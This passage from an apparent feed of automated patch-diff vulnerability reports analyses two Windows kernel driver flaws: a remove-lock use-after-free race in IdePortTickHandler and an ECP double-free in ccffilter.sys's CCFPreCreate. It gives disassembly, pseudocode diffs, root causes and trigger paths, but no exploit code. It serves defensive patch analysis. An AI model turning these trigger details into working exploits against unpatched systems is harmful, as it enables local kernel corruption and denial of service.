&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C000E07F&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; rdi = device extension&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C000E082&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;DeviceUpdateRequestTimeoutCounter&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C000E0A8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;IdeTargetReset&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C000E0B7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;UnRefPdoExtensionWithTag&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; tag counter, not the remove lock&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C000E0C6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;RefNextPdoExtensionWithTag&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C000E0F9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;IdeChannelReset&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;There is no &lt;code&gt;IoAcquireRemoveLockEx&lt;/code&gt;/&lt;code&gt;IoReleaseRemoveLockEx&lt;/code&gt; in the entire function body. If a remove IRP for the device is being processed on another CPU, &lt;code&gt;RemovePdoExtension&lt;/code&gt; can complete its &lt;code&gt;IoReleaseRemoveLockAndWaitEx&lt;/code&gt; (nothing to wait for) and free the extension while this DPC is still dereferencing it in &lt;code&gt;DeviceUpdateRequestTimeoutCounter&lt;/code&gt; / &lt;code&gt;IdeTargetReset&lt;/code&gt; / &lt;code&gt;IdeChannelReset&lt;/code&gt; — a use-after-free.&lt;/p&gt;
&lt;h3&gt;Patched: acquire the remove lock, skip the device on failure, release it&lt;/h3&gt;
&lt;p&gt;The patched body (&lt;code&gt;0x1C0004990&lt;/code&gt;–&lt;code&gt;0x1C0008CB8&lt;/code&gt;) walks the device hash table under the channel spinlock (the same structure &lt;code&gt;RemovePdoExtension&lt;/code&gt; uses), and once a device is matched it acquires the remove lock before doing any per-device work:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; PATCHED IdePortTickHandler — acquire remove lock before per-device work&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004B2E&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;B0h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="c1"&gt;; RemoveLock   ; rsi = matched device extension&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004B35&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;RemlockSize&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="c1"&gt;; RemlockSize&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004B3D&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="c1"&gt;; Line&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004B43&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;File&lt;/span&gt;&lt;span class="c1"&gt;; File&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004B4A&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;IdePortTickHandler&lt;/span&gt;&lt;span class="c1"&gt;; Tag&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004B51&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_IoAcquireRemoveLockEx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004B5D&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004B5F&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;jns&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1C0004A2F&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; success: proceed to per-device work&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004B65&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1C0008BE0&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; failure: release spinlock, skip device&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The per-device timeout/reset work then runs (&lt;code&gt;DeviceUpdateRequestTimeoutCounter&lt;/code&gt; at &lt;code&gt;0x1C0004BC1&lt;/code&gt;, &lt;code&gt;IdeTargetReset&lt;/code&gt; at &lt;code&gt;0x1C0008C6E&lt;/code&gt;, &lt;code&gt;IdeChannelReset&lt;/code&gt; at &lt;code&gt;0x1C0008CAA&lt;/code&gt;), and every exit path releases the lock:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; PATCHED release paths&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004BEA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;B0h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="c1"&gt;; RemoveLock&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004BF1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="c1"&gt;; RemlockSize&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004BFE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_IoReleaseRemoveLockEx&lt;/span&gt;
&lt;span class="c1"&gt;; and the early-skip path:&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0008C00&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;B0h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="c1"&gt;; RemoveLock&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0008C14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_IoReleaseRemoveLockEx&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If &lt;code&gt;IoAcquireRemoveLockEx&lt;/code&gt; returns a failure status (a remove IRP has already been received for the device), the patched handler skips that device entirely, so it never touches a device that is on its way out.&lt;/p&gt;
&lt;h3&gt;Reachability / trigger&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;IdePortTickHandler&lt;/code&gt; is a periodic timer DPC that fires whenever the driver has active channels. The removal side is driven by the PnP subsystem: unplug/eject of a removable ATA/ATAPI device, "Disable" in Device Manager, or a stop/remove during driver teardown. Winning the race requires the tick DPC to be mid-flight on a device extension at the moment &lt;code&gt;RemovePdoExtension&lt;/code&gt; frees it. This is a local, PnP-triggered race, not remotely reachable, and not directly forced by attacker-supplied data; hence Medium rather than High.&lt;/p&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;Kernel use-after-free on a paged/non-paged device extension: reads and writes performed by &lt;code&gt;DeviceUpdateRequestTimeoutCounter&lt;/code&gt;, &lt;code&gt;IdeTargetReset&lt;/code&gt;, and &lt;code&gt;IdeChannelReset&lt;/code&gt; land on freed pool if the race is won, which can corrupt pool state and, depending on reallocation, escalate to arbitrary kernel memory corruption. Correct CWE: &lt;strong&gt;CWE-416 (Use After Free)&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;Direction check / exclusions&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Direction is strictly tightening: patched adds a lock and a skip-on-removal branch; it never relaxes an existing check.&lt;/li&gt;
&lt;li&gt;Not WIL/feature-staging: the old tag-only path is gone, not retained behind a flag.&lt;/li&gt;
&lt;li&gt;Not telemetry, not relocation-only, not API modernization for its own sake: the acquired lock semantically coordinates with &lt;code&gt;IoReleaseRemoveLockAndWaitEx&lt;/code&gt; in &lt;code&gt;RemovePdoExtension&lt;/code&gt;, which the previous tag counter did not.&lt;/li&gt;
&lt;li&gt;Not init-only/unreachable: it is a live periodic DPC.&lt;/li&gt;
&lt;li&gt;Global remove-lock call sites increase from the unpatched to the patched build (e.g. &lt;code&gt;IoReleaseRemoveLockEx&lt;/code&gt; sites rise from 8 to 25), consistent with newly added protection rather than a rename.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>ccffilter.sys — ECP lifetime use-after-free / double-free in CCFPreCreate (CWE-416) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/ccffilter_8bb01508-ccffilter-report-20260628-213753.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/ccffilter_8bb01508-ccffilter-report-20260628-213753.html</id><summary type="html">&lt;p&gt;KB5078752&lt;/p&gt;</summary><content type="html">&lt;hr&gt;
&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ccffilter_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ccffilter_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.9733&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;85&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;2&lt;/strong&gt; (1 security-relevant, 1 cosmetic)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;83&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (either direction)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch addresses a medium-severity kernel pool lifetime bug in the Cluster Shared Volume (CSV) minifilter's &lt;code&gt;IRP_MJ_CREATE&lt;/code&gt; pre-operation callback (&lt;code&gt;CCFPreCreate&lt;/code&gt;). After the app-instance &lt;code&gt;Extra Create Parameter&lt;/code&gt; (ECP) is inserted into the create IRP's ECP list, the unpatched code leaves its local pointer live; if a later ECP sub-step fails, the function's error-cleanup frees that ECP while it is still linked into the IRP's ECP list. The IRP's ECP list retains that dangling pointer, so the filter manager's later ECP-list teardown re-frees / dereferences freed pool — a double-free / use-after-free of the ECP context. Reaching the bug requires a CSV-backed create carrying the app-instance EA &lt;strong&gt;and&lt;/strong&gt; a subsequent version/CSV ECP sub-step failing (typically an internal allocation failure); that secondary failure is not directly attacker-controlled, and the demonstrable impact is kernel pool corruption (local denial of service). The patched build adds the local-pointer clear on the success path, but delivers it &lt;strong&gt;behind a Windows Feature Staging runtime flag&lt;/strong&gt; (&lt;code&gt;EvaluateCurrentState&lt;/code&gt;), so the fix is a staged rollout: with the feature not active the patched binary retains the unpatched behavior.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding #1 — ECP Lifetime / Use-After-Free in &lt;code&gt;CCFPreCreate&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Use-after-free / double-free, kernel pool lifetime (CWE-416)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;CCFPreCreate&lt;/code&gt; (&lt;code&gt;sub_1c0007760&lt;/code&gt;), the &lt;code&gt;IRP_MJ_CREATE&lt;/code&gt; pre-operation callback registered via &lt;code&gt;FltRegisterFilter&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Root Cause&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;ccffilter.sys&lt;/code&gt; is the FltMgr minifilter that backs Windows Cluster Shared Volumes. When a user-mode process opens a file on a CSV path with an EA buffer carrying a "CCFF" app-instance EA, the create path in &lt;code&gt;CCFPreCreate&lt;/code&gt; allocates a &lt;code&gt;GUID_ECP_NETWORK_APP_INSTANCE&lt;/code&gt; Extra Create Parameter (0x14 bytes, pool tag "CCFF") and passes it to &lt;code&gt;CCFAddEcpToCreate&lt;/code&gt; (&lt;code&gt;sub_1c00090a8&lt;/code&gt;). That helper:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Obtains the IRP's ECP list via &lt;code&gt;FltGetEcpListFromCallbackData&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Allocates a new list (&lt;code&gt;FltAllocateExtraCreateParameterList&lt;/code&gt; + &lt;code&gt;FltSetEcpListIntoCallbackData&lt;/code&gt;) if none exists.&lt;/li&gt;
&lt;li&gt;Calls &lt;strong&gt;&lt;code&gt;FltInsertExtraCreateParameter&lt;/code&gt;&lt;/strong&gt; to link the freshly-allocated ECP into the IRP's ECP list.&lt;/li&gt;
&lt;li&gt;Zeroes its byref out-flag (&lt;code&gt;var_b8&lt;/code&gt;) before returning.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;FltInsertExtraCreateParameter&lt;/code&gt; &lt;strong&gt;transfers ownership&lt;/strong&gt; of the ECP to the filter manager — the ECP now lives for the lifetime of the IRP. The bug is that on the &lt;code&gt;CCFAddEcpToCreate&lt;/code&gt; success path the unpatched &lt;code&gt;CCFPreCreate&lt;/code&gt; does &lt;strong&gt;not&lt;/strong&gt; clear its local copy of the ECP pointer (the clear it does have sits inside an &lt;code&gt;if (var_b8 != 0)&lt;/code&gt; branch that is never taken, because &lt;code&gt;CCFAddEcpToCreate&lt;/code&gt; just zeroed &lt;code&gt;var_b8&lt;/code&gt;). Execution then continues into the version/CSV ECP sub-flow (&lt;code&gt;CCFFindAppInstanceVersionEcp&lt;/code&gt; / &lt;code&gt;CCFLookupAndAddVersionEcpToCreate&lt;/code&gt;). If that sub-step returns an error, control reaches the function's error-cleanup, which runs &lt;code&gt;if (status &amp;lt; 0 &amp;amp;&amp;amp; EcpContext) FltFreeExtraCreateParameter(filter, EcpContext)&lt;/code&gt; — freeing the app-instance ECP that is &lt;strong&gt;still linked in the IRP's ECP list&lt;/strong&gt;. The freed pool block remains referenced by the list, so any subsequent ECP-list traversal (IRP completion teardown, &lt;code&gt;FltFindExtraCreateParameter&lt;/code&gt;, or another minifilter querying the list) dereferences stale pool — kernel pool use-after-free / pool corruption.&lt;/p&gt;
&lt;p&gt;The patch clears the local ECP pointer on the &lt;code&gt;CCFAddEcpToCreate&lt;/code&gt; success path (so the error-cleanup can no longer free the still-listed ECP), gating the clear behind a Windows Feature Staging flag via the new helper &lt;code&gt;EvaluateCurrentState&lt;/code&gt; (&lt;code&gt;sub_1c00017b8&lt;/code&gt;). That helper calls &lt;code&gt;EvaluateFeature&lt;/code&gt; (&lt;code&gt;sub_1c0001740&lt;/code&gt;) on the feature descriptor &lt;code&gt;g_Feature_2963746106_60258290&lt;/code&gt; and returns &lt;code&gt;(cachedstate != 1)&lt;/code&gt;. The practical effect is that, with the feature enabled, the local ECP pointer is nulled immediately after a successful insert, so the later error path no longer double-frees the ECP that FltMgr already owns.&lt;/p&gt;
&lt;h4&gt;Attacker-Reachable Entry Point &amp;amp; Data Flow&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;NtCreateFile&lt;/code&gt; / &lt;code&gt;CreateFileW&lt;/code&gt; on a CSV-backed path → FltMgr &lt;code&gt;IRP_MJ_CREATE&lt;/code&gt; dispatch → &lt;code&gt;CCFPreCreate&lt;/code&gt; pre-op callback.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;User mode:&lt;/strong&gt; &lt;code&gt;NtCreateFile&lt;/code&gt; / &lt;code&gt;CreateFileW&lt;/code&gt; against a CSV-mounted path (e.g. &lt;code&gt;C:\ClusterStorage\Volume1\&amp;lt;file&amp;gt;&lt;/code&gt;), supplying an &lt;code&gt;EaBuffer&lt;/code&gt; containing a CCFF app-instance EA.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FltMgr&lt;/strong&gt; routes the create IRP to &lt;code&gt;CCFPreCreate&lt;/code&gt; (&lt;code&gt;sub_1c0007760&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CCFFilterAppInstanceEA&lt;/code&gt; parses the create's &lt;code&gt;EaBuffer&lt;/code&gt;, sets &lt;code&gt;var_b7&lt;/code&gt;, drives the app-instance branch.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CCFPreCreate&lt;/code&gt; allocates the ECP: &lt;code&gt;FltAllocateExtraCreateParameter(filter, &amp;amp;GUID_ECP_NETWORK_APP_INSTANCE, 0x14, ...) → EcpContext_1&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CCFPreCreate&lt;/code&gt; calls &lt;code&gt;CCFAddEcpToCreate&lt;/code&gt; → &lt;code&gt;FltInsertExtraCreateParameter&lt;/code&gt; — the ECP is now &lt;strong&gt;owned by the IRP's ECP list&lt;/strong&gt;; &lt;code&gt;var_b8&lt;/code&gt; is cleared.&lt;/li&gt;
&lt;li&gt;On success &lt;code&gt;CCFPreCreate&lt;/code&gt; leaves &lt;code&gt;EcpContext_1&lt;/code&gt; non-null and proceeds to the version/CSV ECP sub-flow.&lt;/li&gt;
&lt;li&gt;If a version/CSV ECP step fails, the error-cleanup calls &lt;strong&gt;&lt;code&gt;FltFreeExtraCreateParameter(filter, EcpContext_1)&lt;/code&gt;&lt;/strong&gt; on the still-listed ECP → &lt;strong&gt;dangling ECP-list entry&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Subsequent ECP-list operation (IRP completion / &lt;code&gt;FltFindExtraCreateParameter&lt;/code&gt; / list teardown) dereferences freed pool → &lt;strong&gt;UAF&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// =============== UNPATCHED CCFPreCreate — ECP allocate/insert + success path ===============&lt;/span&gt;
&lt;span class="nl"&gt;LABEL_60&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;strncpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;PoolTag&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;CCFF&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;FltAllocateExtraCreateParameter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;GUID_ECP_NETWORK_APP_INSTANCE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;CCFF&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;EcpContext&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
